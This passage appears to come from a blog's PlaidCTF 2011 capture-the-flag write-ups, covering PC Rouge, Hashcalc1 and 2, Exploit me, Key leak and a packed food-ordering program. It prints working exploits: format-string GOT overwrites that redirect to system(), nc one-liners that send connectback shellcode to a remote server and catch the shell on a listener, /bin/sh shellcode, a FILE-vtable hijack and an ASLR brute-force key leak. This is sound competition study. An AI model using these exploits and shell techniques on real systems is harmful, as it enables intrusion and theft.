 "take\n" . "s\n" . "w\n"x5 . "t\n"x5 . "take\n" . "t\n"x(127-46);

###########################################################################

# Connect to server
my $sock =
	IO::Socket::INET->new(
		PeerAddr => $addr,
		PeerPort => $port,
		Proto	 => 'tcp'
	) or die "connect: $!\n";

$sock->autoflush(1);
STDOUT->autoflush(1);

###########################################################################

print $sock $pwn_str;

my $pid = fork();

if (not defined $pid) {
	print STDERR "fork() failed\n";
} elsif ($pid == 0) {
	while (<>) {
		my $fmt = $_;
		$fmt =~ s{\{([0-9A-Fa-f]+)\}}{pack("L",hex($1))}sgex;
		print $sock $fmt,"t\n"x126;
	}
	print "\n";
	kill 15, $pid;
} else {
	my $print_item = 0;
	my $first = 1;
	$SIG{TERM} = sub { exit 0};
	while (<$sock>) {
		if (/^Command limit reached/) {
			if ($first) {
				$first = 0;
				print "Enter format string: ";
			} else {
				$print_item = 1;
			}
		}
		if (/^Item: / && $print_item) {
			s/^Item: //;
			my $buf = $_;
			chomp($buf);
			while (length($buf) > 0) {
				$buf =~ /(.)(.*)/s;
				my $c = $1;
				$buf = $2;
				if (POSIX::isprint($c)) {
					print "$c";
				} else {
					printf("\\x%02x", ord($c));
				}
			}
			print "\n";
			$print_item = 0;
			print "Enter format string: ";
		}
	}
}

###########################################################################

exit 0;

Note that {32-bit-integer-in-hex} will be converted to a raw binary 32-bit integer by the script. This can be used to embed addresses to dump or overwrite. Here’s a sample session:

je@isis:~/ctf/PlaidCTF-2011/25-PC_Rouge$ ./pc-playaround.pl
Enter format string: AAAABBBBCCCC.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x
AAAABBBBCCCC.ffa2a184.ffa2a688.ffa2a184.ffa2a687.ffa2a686.ffa2a184.ffa2a27c.6.41000074.42424242.43434343
Enter format string: %12$s{0}...{8048000}
\x7fELF\x01\x01\x01

Here I first determine the offset to the command buffer, by dumping the stack four bytes at a time with %x. The first three bytes are overwritten by a command that has been sent later (‘t’ = 0×74), so if we want to embed an address to read from or write into we should prepend some padding. My second attempt uses %12$s to dereference the pointer that I embed at offset 12 (0×08048000). Obviously NUL-bytes are not a problem, as long as they are located after the format string. The format string buffer is actually located in dynamically allocated memory on the heap, while the command buffer is located in a local variable on the stack. The only problematic byte is 0x0a (e.g. ‘\n’ = line-feed), which ends the command string and is converted to a NUL-byte in the buffer.

Using this technique we are able to dump the entire binary for the level, except for a few bytes at addresses containg 0x0a that we assume are NUL-bytes. This produces a valid enough binary for further analysis in IDA Pro, where we can clearly see the vulnerable call to printf:

printf(item_arr[num_powerpoints]);

We also see that fgets() is used to read our commands, and that the line-feed character is converted to a NUL-byte, just as we have observed:

  if (fgets(buf, 255, stdin)) {
    for (i = 0; i < strlen(buf) - 1; ++i) {
      if (buf[i] == 10) {
        buf[i] = 0;
        break;
      }
    }

If we use the format string vulnerability to overwrite a GOT-entry, fgets() seems to be the perfect choice since its first argument happens to be a pointer to our buffer. If we embed a command line to be executed there and point fgets() into system() instead, our command line will be executed.

Now we just need to find system(), either by bruteforcing it or by reading a GOT-entry and calculating the address to system() based on its offset from the function whose GOT-entry we've read. We used the latter method to find system() based on its offset from fgets(). Since we had not yet noticed that a5 and a9 used the same libc, we first dumped libc using this vulnerability as well. :) Finally, we ended up with the following exploit:

#!/usr/bin/perl -w

use strict;

use IO::Socket::INET;
use FileHandle;

###########################################################################

print STDERR "[*] -----------------------------------------------\n";
print STDERR "[*] PC Rouge Exploit - PlaidCTF-2011 - Challenge 25\n";
print STDERR "[*] Coded by Joel Eriksson, AKA je AKA The Beast...\n";
print STDERR "[*] -----------------------------------------------\n";

###########################################################################

# Exit with an error message if more than two arguments are given
die "Usage: $0 [ADDR] [PORT]\n"
  if @ARGV > 2;

# Get address and port from the command line, or use default values
my $addr = shift || '128.237.157.79';
my $port = shift || 60123;

###########################################################################

my $pwn_str =
 "n\n"x10 . "take\n" . "s\n"x15 . "take\n" . "n\n"x2 . "w\n"x3 . "s\n" .
 "take\n" . "s\n" . "w\n"x5 . "t\n"x5 . "take\n" . "t\n"x(127-46);

my $fgets_got = 0x0804bf18;
my $fgets_off = 0x5bc30;
my $system_off = 0x38fb0;

###########################################################################

# Connect to server
my $sock =
	IO::Socket::INET->new(
		PeerAddr => $addr,
		PeerPort => $port,
		Proto	 => 'tcp'
	) or die "connect: $!\n";

$sock->autoflush(1);
STDOUT->autoflush(1);

###########################################################################

my $line;
my $c = 0x41;
my $marker = chr($c)x8;

###########################################################################

print STDERR "[*] Retrieving fgets() address from the GOT\n";

# LSB of fgets() happened to be a NUL-byte on the a9 box, thus the +1
print $sock $marker,pack("L",$fgets_got+1),"-%11\$s",$pwn_str;

while ($line = <$sock>) {
	last if $line =~ /Item: $marker/;
}

$line =~ /$marker....-(....)/;

my ($fgets_addr) = unpack("L", $1);

$fgets_addr <<= 8;
$fgets_addr &= 0xffffffff;

###########################################################################

print STDERR "[*] Calculating address of system()\n";

my $system_addr = $fgets_addr - 0x5bc30 + 0x38fb0;

###########################################################################

print STDERR "[*] Overwriting the GOT-entry for fgets()\n";

my $hi_addr = $system_addr >> 16;
my $lo_addr = $system_addr & 0xffff;
my ($n1, $n2, $addr1, $addr2);

if ($hi_addr < $lo_addr) {
	$n1 = $hi_addr - 16;
	$n2 = $lo_addr - $lo_addr;
	$addr1 = $fgets_got + 2;
	$addr2 = $fgets_got;
} else {
	$n1 = $lo_addr - 16;
	$n2 = $hi_addr - $lo_addr;
	$addr1 = $fgets_got;
	$addr2 = $fgets_got + 2;
}

$marker = "id; sh; ";

print $sock
	$marker,
	pack("L",$addr1),pack("L",$addr2),
	"%${n1}u%11\$hn","%${n2}u%12\$hn",
	"t\n"x127;

print STDERR "[*] Waiting for shell... ;)\n";

while ($line = <$sock>) {
	last if $line =~ /Item: $marker/;
}

###########################################################################

while ($line = <$sock>) {
	last if $line =~ /^uid/;
}

print STDERR "[*] Exploit succeeded! Press ^C to exit shell...\n";
print STDERR $line;

my $pid = fork();

if (not defined $pid) {
	print STDERR "fork() failed\n";
} elsif ($pid == 0) {
	while (<>) { print $sock $_; }
} else {
	while (<$sock>) { print }
}

###########################################################################

exit 0;

And finally, here is a sample run:

je@isis:~/ctf/PlaidCTF-2011/25-PC_Rouge$ ./pc-xpl.pl
[*] -----------------------------------------------
[*] PC Rouge Exploit - PlaidCTF-2011 - Challenge 25
[*] Coded by Joel Eriksson, AKA je AKA The Beast...
[*] -----------------------------------------------
[*] Retrieving fgets() address from the GOT
[*] Calculating address of system()
[*] Overwriting the GOT-entry for fgets()
[*] Waiting for shell... ;)
[*] Exploit succeeded! Press ^C to exit shell...
uid=1005(pc) gid=1006(pc) groups=1006(pc)
cat /home/pc/key
true8_bit_is_best_bit

PlaidCTF 2011 – 36 – I’m HUNGRY!..as hell – 250 pts

This is my writeup for the thirty-sixth challenge in the PlaidCTF 2011 competition. The information for the challenge was:

“AED came up with a secret sharing program that looks like innocent food ordering program.
However, there is an information that if you are able to order the following set of food, you can get the secret key.

IMPORTANT: SOUND is VERY VERY IMPORTANT for this mission!!!! MAKE THE VOLUME LARGE before you actually do stuff…

Reverse the program to find out the key!

10 Regular Hamburgers
5 Cheeseburgers
17 French Fries
8 Hot Dogs
20 Regular Coke”

Taking a quick look at the challenge with IDA Pro and OllyDbg respectively I could see that it’s packed, and that it uses miscellaneous anti-debugging and anti-dumping techniques. To get acquainted with the application I tried to make the order, which gave me the following error message after adding 10 regular hamburgers, 5 cheeseburgers and 11 french fries: “You cannot have more than 25 items in your cart.”

When clicking OK and then the Order-button, I got: “Your order confirmation code is Th3m1d4_iS_s!cK”. At this point I couldn’t imagine that I’ve already found the real key, so I continued with trying to reverse-engineer the program for a while before attempting a different order, which resulted in a completely scrambled string as the order confirmation code. Turns out that the developers for this mission messed something up bigtime, and that “Th3m1d4_iS_s!cK” was the actual key. Might look into actually reversing the program someday, but for now I settle with the key. :D

I’m glad that our team would have won the competition even without these 250 points though, wouldn’t have felt fair if this would have been the difference between winning and losing. :)

PlaidCTF 2011 – 26 – Hashcalc2 – 150 pts

This is my writeup for the twenty-sixth challenge in the PlaidCTF 2011 competition. The information for the challenge was:

“nc a9.amalgamated.biz 10241″

The binary for the server listening on this port was also available for download. Turns out that this challenge is almost identical with hashcalc1, except for the fact that it is executed through inetd instead of using its own socket handling. Also, in this case the call to strlen() in the function that calculates the hash is inlined. There is another call to strlen() in the function that writes to the socket though. Since the string has been prepended with “<hash> (” before our buffer we need to make sure that this string can be interpreted as valid instructions as well, without triggering a crash.

To change the hash I could simply append to the string, and ended up with the following:

(cat ~/cb.bin; perl -e '
    print pack("L",0x804911c+2),pack("L",0x804911c),
    "%'$[0x0804-88]'u","%25\$hn","%'$[0x8e1b-0x0804]'u","%26\$hn","%20000u"'
) | nc a9.amalgamated.biz 10241

In another tty:

je@isis:~$ nc -l 12345
id
uid=1008(hashcalc2) gid=1009(hashcalc2) groups=1009(hashcalc2)
cat /home/hashcalc2/key
funkyG_1S_th3_b3$t

PlaidCTF 2011 – 23 – Exploit me – 200 pts

This is my writeup for the twenty-third challenge in the PlaidCTF 2011 competition. The information for the challenge was:

“It seems like AED also has some plans to raise hacker force!
We found this binary as an exploitation practice program in the office, but they forgot to remove the setgid flag on the program.
So we can get the secret key!
ssh username@a5.amalgamated.biz”

Using IDA Pro I see that the binary contains a deliberate stackbased buffer overflow, designed to allow us to overwrite a pointer that is later dereferenced and written into with a user defined value. The decompiled code is as follows:

void ExploitMe(const char *str, int val, size_t len);
int main(int argc, char **argv)
{
  int a2, a3;
  if (argc <= 3) {
    puts("Regards, Dolan :} ");
    exit(-1);
  }
  a3 = atoi(argv[3]);
  a2 = atoll(argv[2]);
  ExploitMe(argv[1], a2, a3);
  return 0;
}
void ExploitMe(const char *str, int val, size_t len)
{
  int *p;
  char buf[64];
  if (len <= 71) {
    p = len;
    strncpy(buf, str, len);
    if (p)
      *p = val;
    exit(0);
  }
}

The pointer p is located directly after the 64-bytes buffer we're overflowing, and the value we're writing into the pointer is taken from our second command line argument. Since exit() is called directly after this, we use this to overwrite its GOT-entry. As you can see below, this is located at 0x80497f4.

je@isis:~/ctf/PlaidCTF-2011/23-Exploit_Me# objdump -R exploitMe | grep exit
080497f4 R_386_JUMP_SLOT   exit

Since a pointer to our buffer is located at offset 8 on the stack when exit() is called, due to the previous strncpy() call, we can use a pop-pop-ret trampoline to jump there. I found one at address 0x80484d2, and could use this for the following exploit:

#!/usr/bin/perl

my $code =
	"\xeb\x10".			#	jmp	jumpme
					# callme:
	"\x5b".				#	pop	%ebx
	"\x31\xd2".			#	xor	%edx,%edx
	"\x88\x53\x07".			#	mov	%dl,0x7(%ebx)
	"\x52".				#	push	%edx
	"\x53".				#	push	%ebx
	"\x89\xe1".			#	mov	%esp,%ecx
	"\x31\xc0".			#	xor	%eax,%eax
	"\xb0\x0b".			#	mov	$0xb,%al
	"\xcd\x80".			#	int	$0x80
					# jumpme:
	"\xe8\xeb\xff\xff\xff".		#	call	callme
	"/bin/sh";			# .ascii  "/bin/sh"

$code .= "A"x(64-length($code));

my $exitgot = 0x80497f4;
my $pop2ret = 0x80484d2;

exec '/opt/pctf/exploit/exploitMe', $code.pack("L",$exitgot), $pop2ret, 68;

If NX would have been effective this challenge would have required some further digging to find a suitable ROP gadget for running system() or execve() for instance. In this case I settled with this to get the key: K3Ys_t0_15_M1nUtEs_0f_F4mE

PlaidCTF 2011 – 22 – Hashcalc1 – 300 pts

This is my writeup for the twenty-second challenge in the PlaidCTF 2011 competition. The information for the challenge was:

“nc a9.amalgamated.biz 30001″

The binary for the server listening on this port was also available for download. Simply running strings on the binary reveals that it is a forking socket server that spawns a new process to handle each incoming connection. Connecting to the service we get:

This is an example of connecting to the service on my own machine:

je@isis:~$ nc localhost 30001
** Welcome to the online hash calculator **
$ foo
3828 (foo)
je@isis:~$ nc localhost 30001
** Welcome to the online hash calculator **
$ bar
604 (bar)

The service prompts for a string, calculates its hash and prints it out to the user before closing the connection. If we send a string slightly larger than 256 bytes the connection is abruptly closed though, which most likely indicates a buffer overflow. Since the binary is compiled with stack canaries enabled this may not be all that useful though. A quick inspection in IDA Pro reveals that the buffer overflow is due to a vsprintf() in the function at 0x08048b22, which I’ve named sock_printf() to be a bit more descriptive. The decompiled version is as follows:

void sock_printf(int fd, const char *fmt, ...)
{
  size_t len;
  char buf[256];
  va_list ap;

  va_start(ap, fmt);
  vsprintf(buf, fmt, ap);
  len = strlen(buf);
  if (send(fd, buf, len, 0) == -1) {
    perror("send message");
    exit(-1);
  }
}

There is also code for checking a stack cookie, but since that is automatically inserted by the compiler I’ve omitted that part from my decompiled code. As you can see, there really isn’t much of value to overwrite on the stack unless we can predict (or bruteforce) the stack cookie, or patch the GOT-entry for ___stack_chk_fail(). Luckily for us there is another issue to exploit, that is revealed by simply sending a “%n” as the string to hash. This will also result in the connection being abruptly closed, which indicates a format string vulnerability.

In IDA Pro we can see that the format string vulnerability is triggered by an fprintf(log_fp, buf), right before the hash is calculated. Since the output is written to a logfile and not back to the socket we are not able to use this to read data from the stack. Since our buffer is on the stack we can easily use this to achieve arbitrary writes to arbitrary addresses though, by embedding the addresses we want to write to in our buffer and finding the offset to the buffer by, for instance, embedding a known writable address in our buffer, using %n at different offsets and switching to a known invalid / non-writable address for each offset that does not trigger a crash. Since we have access to the binary we can determine the offset (5) directly by analyzing the code though.

Due to a mistake by the PlaidCTF organizers, NX was not effective and ordinary shellcode could be used, which saved me some time. Since strlen() is called directly after the vulnerable fprintf(), in the function that calculates the hash, I chose to use the format string vulnerability to overwrite the GOT-entry for strlen() at address 0x0804a41c. Since the stack is randomized it would require bruteforcing to find our shellcode in the stack, but since a pointer to our buffer is passed as the first argument to strlen() we can just stuff our shellcode into the beginning of the buffer and use a suitable trampoline from the binary itself, which is mapped on a fixed address. A pop-ret or a call eax would be good for this purpose, since the buffer pointer is copied into eax before being passed as an argument. I chose the latter, at address 0x080491cb.

At this point of the competition I felt pretty lazy, so ended up exploiting it with a one-liner instead of creating a script for it:

(cat ~/cb.bin; perl -e '
    print pack("L",0x804a41c+2),pack("L",0x804a41c),
    "%'$[0x0804-88]'u","%25\$hn","%'$[0x91cb-0x0804]'u","%26\$hn"'
) | nc a9.amalgamated.biz 30001

The file cb.bin is an 80 bytes connectback shellcode. Since the beginning of our buffer was at offset 5 I add 20 to this now when I’ve embedded the addresses to write to after the shellcode (20*4=80), and end up with %25$hn and %26$hn to overwrite the two most significant bytes and the two least significant bytes of the GOT-entry respectively.

In another tty I’ve set up a netcat listener on the port that the connectback shellcode connects to:

je@isis:~$ nc -l 12345
id
uid=1009(hashcalc1) gid=1010(hashcalc1) groups=1010(hashcalc1)
cat /home/hashcalc1/key
th3_0tH3r_DJB

PlaidCTF 2011 – 21 – Key leak – 450 pts

This is my writeup for the twenty-first challenge in the PlaidCTF 2011 competition. The information for the challenge was:

“We have obtained the binary for AED’s internal data encryption service, running at a9.amalgamated.biz:10240.
Obtain AED’s data encryption key.”

The binary for this level was available for download, so that it could be inspected in IDA Pro and debugged with GDB. Turns out it is executed through inetd, or some similar service. It reads its input data from stdin and writes to stdout, and does not contain any socket handling code by itself.

By analyzing the code in IDA Pro I noticed that snprintf() is called with 80 as its length argument. The problem with this is that the stack buffer it writes to is only 64 bytes large. This is not enough to overwrite the saved return address, we will however overwrite the FILE-pointer for a log file right before fwrite() and fclose() is called. I knew that the FILE-struct contains a pointer to an array of function pointers, and first wrote an exploit that used this to achieve code execution. Since the buffer we control is much smaller than the FILE-struct it was a bit tricky to get right, but I finally ended up with this piece of code to achieve code execution on my own system with ASLR deactivated:

je@isis:~/ctf/PlaidCTF-2011/21-Key_leak/solution$ cat keyleak-xpl.pl
#!/usr/bin/perl

my $buffer_addr = 0xffffc630;
my $do_system = 0xf7c9bf30;
my $cmd = ";id;sh;"; # Prepend ";" since eax points 36 bytes before this string...

$cmd .= "A"x(44-length($cmd));

print	pack("L",$do_system),		# vtable + 0x1c = gets called by _IO_fwrite(), with eax = vtable pointer
	pack("L",$buffer_addr-0x1c),	# vtable pointer @ fp + 148 + _vtable_offset
	$cmd,				# command line
	chr(0x82),			# _vtable_offset as a signed byte -> 0x82 = -126
	"AAA",				# padding
	pack("L",$buffer_addr-18);	# Overwritten FILE-pointer (fp)
je@isis:~/ctf/PlaidCTF-2011/21-Key_leak/solution$ (./keyleak-xpl.pl; cat) | ../04fb7dde1e519a7efd248c43ce9967a40276981e.bin
../04fb7dde1e519a7efd248c43ce9967a40276981e.bin: /lib32/libcrypto.so.1.0.0: no version information available (required by ../04fb7dde1e519a7efd248c43ce9967a40276981e.bin)
Username:
sh: U�����@������1304132799:: not found
uid=1000(je) gid=1000(je)

Note that I overwrite the FILE-pointer with the address to my buffer minus 18. This is to make sure I am able to control the _vtable_offset variable and make fwrite() use the function pointer I’m placing in the beginning of the buffer. It is also critical that the word that happens to be at this stack address is a negative number (e.g most significant bit set), to avoid a crash due to dereferencing a value out of my control.

If you want to try this on your own system, deactivate ASLR with sysctl kernel.randomize_va_space=0 (as root) and determine the buffer address with:

je@isis:~/ctf/PlaidCTF-2011/21-Key_leak/solution$ gdb -q ../04fb7dde1e519a7efd248c43ce9967a40276981e.bin core
...
Loaded symbols for /lib/ld-linux.so.2
Core was generated by `../04fb7dde1e519a7efd248c43ce9967a40276981e.bin'.
Program terminated with signal 11, Segmentation fault.
#0  _IO_fwrite (buf=0xffffc604, size=1, count=73, fp=0xbadc0ddb) at iofwrite.c:43
43	iofwrite.c: No such file or directory.
	in iofwrite.c
(gdb) up
#1  0xf7ffccd9 in ?? ()
(gdb) p/x $ebp-72
$1 = 0xffffc610
(gdb) x/i do_system
   0xf7c9bf30 :	push   %ebp

If your libc is stripped from symbols, you can disassemble system() to find the do_system() function pointer. Example:

(gdb) x/18i system
   0xf7c9c3d0 <__libc_system>:	sub    $0xc,%esp
   0xf7c9c3d3 <__libc_system+3>:	mov    %esi,0x4(%esp)
   0xf7c9c3d7 <__libc_system+7>:	mov    0x10(%esp),%esi
   0xf7c9c3db <__libc_system+11>:	mov    %ebx,(%esp)
   0xf7c9c3de <__libc_system+14>:	call   0xf7c79a0f <__i686.get_pc_thunk.bx>
   0xf7c9c3e3 <__libc_system+19>:	add    $0x11cc11,%ebx
   0xf7c9c3e9 <__libc_system+25>:	mov    %edi,0x8(%esp)
   0xf7c9c3ed <__libc_system+29>:	test   %esi,%esi
   0xf7c9c3ef <__libc_system+31>:	je     0xf7c9c410 <__libc_system+64>
   0xf7c9c3f1 <__libc_system+33>:	mov    %gs:0xc,%eax
   0xf7c9c3f7 <__libc_system+39>:	test   %eax,%eax
   0xf7c9c3f9 <__libc_system+41>:	jne    0xf7c9c434 <__libc_system+100>
   0xf7c9c3fb <__libc_system+43>:	mov    (%esp),%ebx
   0xf7c9c3fe <__libc_system+46>:	mov    %esi,%eax
   0xf7c9c400 <__libc_system+48>:	mov    0x8(%esp),%edi
   0xf7c9c404 <__libc_system+52>:	mov    0x4(%esp),%esi
   0xf7c9c408 <__libc_system+56>:	add    $0xc,%esp
   0xf7c9c40b <__libc_system+59>:	jmp    0xf7c9bf30 <do_system>

This depends on two addresses though, the address to the buffer and the offset to the libc internal do_system() function. Although it’s certainly possible, it could potentially take a pretty long time to bruteforce both of these values when ASLR is active and unfortunately this is the case on a9.amalgamated.biz where the keyleak server resides. So, let’s figure out another way to exploit this bug.

Reading the description for this mission we learn that we only need to obtain the encryption key used by the program, we don’t actually need code execution. So, let’s see how the key is used by the program and if there is some way we could retrieve it without actually executing code or getting a shell.

The file descriptor to the key file has not yet been opened when the vulnerability is triggered, so finding a way to directly dump the contents of the key file seems unlikely. However, this piece of code indicates that we may do something else that might be useful:

      usr_buf_len = read(0, usr_buf, 1024u);
      key_buf_len = read(fd, key_buf, 1024u);

A buffer is read from file descriptor 0 = stdin = the socket descriptor in this case. Then the key is read from the key file descriptor. If we overflow the FILE-pointer with the address of stdin we can close this descriptor, which will make the next call to open() to reuse file descriptor 0. The next call to open() opens the key file in this case, which means that the key will be read into usr_buf (user input buffer). Since this read() will consume everything in the keyfile, the read() into key_buf will result in an empty string.

So, how would this help us? Well, analyzing the rest of the code it derives an AES encryption key from the contents of the keyfile combined with a 32 byte random salt.

      if ( RAND_bytes(salt, 32) == 1 )
      {
        hash_algo = EVP_sha256();
        if ( PKCS5_PBKDF2_HMAC(key_buf, key_buf_len, salt, 32, 4096, hash_algo, 32, derived_key) == 1 )
        ...

The key would in this case be an empty string. :)

Then it continues with generating a random IV for initializing the AES-256 cipher along with the key.

          if ( RAND_bytes(iv, 16) == 1 )
          {
            EVP_CIPHER_CTX_init(&ctx);
            cipher = EVP_aes_256_cbc();
            if ( EVP_EncryptInit_ex(&ctx, cipher, 0, derived_key, iv) == 1 )

It finishes off by encrypting the user input buffer (containing the real key), and then writing the salt, the iv and the encrypted buffer to stdout.

              if ( EVP_EncryptUpdate(&ctx, encbuf, &n, usr_buf, usr_buf_len) == 1 )
              {
                if ( EVP_EncryptFinal_ex(&ctx, &encbuf[n], &tmp_n) == 1 )
                {
                  EVP_CIPHER_CTX_cleanup(&ctx);
                  n += tmp_n;
                  fflush(stdout);
                  write(1, salt, 32u);
                  write(1, iv, 16u);
                  write(1, encbuf, n);

So, if we manage to close stdin we will get the real key encrypted with a key we will be able to determine by using the known salt, iv and an empty string as key.

Since ASLR is used we had to use bruteforce to find the stdin pointer. Only 12 bits of the glibc base is randomized, and empirically it seems as if some addresses are much more likely to be used than others. The most effective way to bruteforce is therefore to use a static “guess”, based on the address taken from a previous execution. Since we had not yet realized that the a5 box where we already had shell access through SSH used the same glibc version as the a9 box, we used our PC Rouge exploit to upload the keyleak program and the following small library:

#include <unistd.h>
#include <stdio.h>

__attribute__((constructor))
void my_init()
{
	printf("0x%x\n", (unsigned int) stdin);
        _exit(1);
}

By loading this library with LD_PRELOAD when executing keyleak we get to know the address of stdin for this particular execution attempt, and can use this value to bruteforce with.

$ gcc -shared -o xxx.so xxx.c
$ LD_PRELOAD=./xxx.so ./keyleak
0xb75f0420

To perform the bruteforce I developed the following script:

#!/usr/bin/perl -w

use strict;

use IO::Socket::INET;
use FileHandle;

###########################################################################

# Exit with an error message if more than two arguments are given
die "Usage: $0 [ADDR] [PORT]\n"
  if @ARGV > 2;

# Get address and port from the command line, or use default values
my $addr = shift || '128.237.157.79';
my $port = shift || 10240;

###########################################################################

STDOUT->autoflush(1);

###########################################################################

my $found = 0;
my $i = 0;
my $line;
my $buf;

while (! $found) {
	print STDERR ".";

	# Connect to server
	my $sock = IO::Socket::INET->new(
			PeerAddr => $addr,
			PeerPort => $port,
			Proto	 => 'tcp'
		) or die "connect: $!\n";

	$sock->autoflush(1);

	print $sock "A"x56,pack("L",0xb75f0420),chr(10);

	$buf = "";

	while ($line = <$sock>) {
		next if $line eq "Username: ";

		$buf .= $line;
	}

	next if $buf eq "";

	$buf =~ s/.*Key length is 0 bytes\.\n//s;

	print STDERR "\nFound it!\n";

	while (length($buf) > 0) {
		$buf =~ /(.)(.*)/s;
		my $c = $1;
		$buf = $2;
		print chr(10) if ($i > 0 && ($i % 16) == 0);
		printf("%02X ", ord($c));
		$i = $i + 1;
	}

	print "\n";

	last;
}

###########################################################################

exit 0;

This is the output from a sample execution:

je@isis:~/ctf/PlaidCTF-2011/21-Key_leak/solution$ ./keyleak-getkey.pl
................................
Found it!
C2 3C 34 D3 43 58 F1 26 3E 38 2C 91 3F 58 DB 8F
DA 8E 58 90 BA E9 B7 FD 92 5F D9 6C 05 87 85 72
56 C5 39 12 95 BA C8 9E D7 A0 52 82 CA 8E C3 FD
74 97 E4 16 5A D8 23 8D 3E B6 49 61 A6 C3 54 CE
8F 17 C2 E8 0E 9A 88 A2 DE 80 5B B6 E2 97 D6 19

The first 32 bytes is the salt used when deriving the encryption key. This is followed by the 16 bytes IV buffer that is used when initializing AES, and finally by 32 bytes representing the encrypted key.

To get the plaintext key we can now feed this into the following program, originally developed by Kaliman while I worked on the stdin bruteforce script:

je@isis:~/ctf/PlaidCTF-2011/21-Key_leak/solution$ cat decode_key.c
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <openssl/evp.h>
#include <openssl/aes.h>

int aes_dec(unsigned char *data, int len, unsigned char *salt, unsigned char *iv, unsigned char *out)
{
	EVP_CIPHER_CTX ctx;
	int n1 = 0, n2 = 0;
	char key[32];

	memset(key, 0, 32);
	PKCS5_PBKDF2_HMAC(key, 0, salt, 32, 4096, EVP_sha256(), sizeof(key), key);
	EVP_CIPHER_CTX_init(&ctx);
	EVP_DecryptInit_ex(&ctx, EVP_aes_256_cbc(), NULL, key, iv);
	EVP_DecryptUpdate(&ctx, out, &n1, data, len);
	EVP_DecryptFinal_ex(&ctx, out+n1, &n2);

	return n1 + n2;
}

int main()
{
	char salt[32], iv[16], buf[32], key[32];
	ssize_t n;

	if (((n = read(0, salt, sizeof(salt)) != sizeof(salt))
	||  ((n = read(0, iv, sizeof(iv)))) != sizeof(iv))
	||  ((n = read(0, buf, sizeof(buf))) != sizeof(buf))) {
		if (n == -1)
			perror("read");
		return 1;
	}

	n = aes_dec(buf, sizeof(buf), salt, iv, key);
	write(1, key, n);

	return 0;
}
je@isis:~/ctf/PlaidCTF-2011/21-Key_leak/solution$ perl -pne 's{\s*}{}sgex;s{([0-9A-Fa-f][0-9A-Fa-f])}{chr(hex($1))}sgex' | ./decode_key
C2 3C 34 D3 43 58 F1 26 3E 38 2C 91 3F 58 DB 8F
DA 8E 58 90 BA E9 B7 FD 92 5F D9 6C 05 87 85 72
56 C5 39 12 95 BA C8 9E D7 A0 52 82 CA 8E C3 FD
74 97 E4 16 5A D8 23 8D 3E B6 49 61 A6 C3 54 CE
8F 17 C2 E8 0E 9A 88 A2 DE 80 5B B6 E2 97 D6 19
^D
I grow tomatoes in my garden.